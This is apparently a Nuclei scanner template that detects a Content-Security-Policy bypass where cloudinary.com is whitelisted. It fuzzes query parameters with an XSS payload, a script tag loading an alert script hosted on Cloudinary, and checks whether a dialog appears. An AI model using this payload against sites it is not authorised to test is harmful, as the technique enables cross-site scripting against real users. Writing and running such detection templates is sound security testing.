id: cloudinary-csp-bypass

info:
  name: Content-Security-Policy Bypass - cloudinary
  author: pussycat0x
  severity: medium
  metadata:
    verified: false
  tags: xss,csp-bypass,cloudinary,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudinary.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudinary_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src=https://res.cloudinary.com/dw1fa6csl/raw/upload/v1664828137/samples/test/alert-one_ryg8ba.js></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudinary_csp_xss == true"
# digest: 4a0a004730450220390bc88b674f20905ef03269e6945fc0c57b8fedbae977b3e9db128f8a2c02710221008da74d762a7981ebb116fa6f46c95667063d322bf0cf83d70e058f28573e7ab7:922c64590222798bb761d5b6d8e72950